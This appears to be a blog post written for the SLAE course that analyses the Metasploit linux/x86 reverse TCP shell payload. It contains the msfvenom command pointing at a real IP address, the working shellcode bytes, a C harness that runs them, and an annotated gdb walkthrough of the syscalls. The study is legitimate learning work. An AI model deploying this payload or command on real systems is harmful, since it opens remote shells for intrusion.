SLAE: linux_x86_shell_reverse_tcp Shellcode Analysis

Intro

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-924

The task is to:

  • Take up at least 3 shellcode samples created using MSFpayload for linux/x86
  • Use gdb_ndisasm_libemu to dissect the functionality of the shellcode
  • present your analysis

The third shellcode we will examine is linux/x86/shell/reverse_tcp.

msfvenom -p linux/x86/shell_reverse_tcp --payload-options

Basic options are LHOST and LPORT. We will use LHOST=91.142.94.70 and LPORT=4444.

Let’s generate our shellcode:

pagliacci$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=91.142.94.70 LPORT=4444 -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x5b\x8e\x5e\x46\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

I’ll put c template to inject shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x5b\x8e\x5e\x46\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Shellcode works:

Sample image

Analysis in gdb

Let’s run gdb with peda to see how it works.

socket creation

0x804a040 <code>:	xor    ebx,ebx          ;zero out ebx register
0x804a042 <code+2>:	mul    ebx          ;zero out eax
0x804a044 <code+4>:	push   ebx          ;push null at the stack
0x804a045 <code+5>:	inc    ebx          ;increment ebx (ebx = 1)
0x804a046 <code+6>:	push   ebx          ;push 1 to the stack
0x804a047 <code+7>:	push   0x2          ;push 2 to the stack
0x804a049 <code+9>:	mov    ecx,esp      ;move esp (2, 1, 0) to the ecx
0x804a04b <code+11>:	mov    al,0x66      ;move sys_socketcall number to eax
0x804a04d <code+13>:	int    0x80         ;call syscall

Redirect I/O

0x804a04f <code+15>:	xchg   ebx,eax      ;xchange socket file descriptor which is stored in eax (0x7) with value in ebx (0x1)
0x804a050 <code+16>:	pop    ecx        ;pop 0x2 from the stack to ecx
0x804a051 <code+17>:	mov    al,0x3f    ;move 0x3f = 63 = sys_dup2 syscall number
0x804a053 <code+19>:	int    0x80       ;call sys_dup2, where oldfd=0x7, newfd=0x2 (standart error)
0x804a055 <code+21>:	dec    ecx        ;it is a loop to redirect all fd, so now ecx = 1
0x804a056 <code+22>:	jns    0x804a051 <code+17>    ;checks if ecx = 0
;cause ecx is not null, second iteration begins
0x804a051 <code+17>:	mov    al,0x3f
0x804a053 <code+19>:	int    0x80
0x804a055 <code+21>:	dec    ecx
0x804a056 <code+22>:	jns    0x804a051 <code+17>
;and third iteration
0x804a051 <code+17>:	mov    al,0x3f
0x804a053 <code+19>:	int    0x80
0x804a055 <code+21>:	dec    ecx
0x804a056 <code+22>:	jns    0x804a051 <code+17>

sys_connect

0x804a058 <code+24>:	push   0x465e8e5b      ;push ip address to the stack
0x804a05d <code+29>:	push   0x5c110002    ;push port to the stack and the 2 is an AF_INET
0x804a062 <code+34>:	mov    ecx,esp       ;move {2, 5c11, 465e8e5b} to ecx
0x804a064 <code+36>:	mov    al,0x66       ;sys_socketcall number
0x804a066 <code+38>:	push   eax           ;push 0x66 to the stack (sys_socketcall number)
0x804a067 <code+39>:	push   ecx           ;push {2, 5c11, 465e8e5b} to the stack
0x804a068 <code+40>:	push   ebx           ;push 0x7 (socket fd) to the stack
0x804a069 <code+41>:	mov    bl,0x3        ;move 0x3 to ebx (sys_connect number)
0x804a06b <code+43>:	mov    ecx,esp       
0x804a06d <code+45>:	int    0x80          ;run sys_connect

execve

0x804a06f <code+47>:	push   edx           ;pushing zero to the stack
0x804a070 <code+48>:	push   0x68732f6e    ;pushing "hs/n" to the stack
0x804a075 <code+53>:	push   0x69622f2f   ;pushing "ib//" to the stack
0x804a07a <code+58>:	mov    ebx,esp     ;moving it all to ebx
0x804a07c <code+60>:	push   edx         ;push zero to the stack
0x804a07d <code+61>:	push   ebx         ;push address of //bin/sh to the stack
0x804a07e <code+62>:	mov    ecx,esp     ;move esp which points to {//bin/sh,0} to ecx register
0x804a080 <code+64>:	mov    al,0xb      ;move execve call number to eax
0x804a082 <code+66>:	int    0x80        ;call execve

Sample image

Shellcode exited normally and made reverse connection to the server.